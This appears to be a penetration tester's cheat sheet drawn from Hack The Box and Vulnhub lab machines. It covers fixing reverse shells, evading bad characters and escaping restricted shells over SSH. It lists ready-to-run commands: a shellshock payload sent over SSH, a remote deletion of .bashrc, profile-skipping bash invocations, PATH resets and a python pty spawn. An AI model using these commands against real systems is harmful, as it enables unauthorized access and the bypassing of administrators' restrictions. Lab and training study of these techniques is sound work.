Restricted Shell / SSH

If reverse shell not working :

  • try changing the port to 443 or 80

  • try checking for characters breaking the reverse shell

Evading Badchars in a reverse shell (HTB Sense)

  • Echo abc

  • Echo abc/

  • Echo abc -

  • Check env variables -> env

  • HOME= /

  • Echo ${HOME}/home

  • Optional (Using ASCII to evade badchars)

  • Printf “\55” -> -

Restricted Reverse Shell :

  • To disable profiling in /etc/profile and ~/.profile

  • Locate ifconfig

  • /sbin/ifconfig

  • nice /bin/bash

SSH :

// Ways to no profile
ssh hostname -t "bash --noprofile"
ssh -t [email protected] bash --norc --noprofile
ssh -t [email protected] /bin/sh
ssh -t [email protected] "bash --norc --noprofile -c '/bin/rm .bashrc'"
// SSH bash shellshock (Troll2 Vulnhub)
ssh -i noob [email protected] '() { :; }; uname -a'

Bypass restricted shell using : (dipak.pdf)

  • export PATH=/bin/:sbin/:/usr/bin/:$PATH

  • payload = "python -c 'import pty;pty.spawn(\"/bin/bash\")'"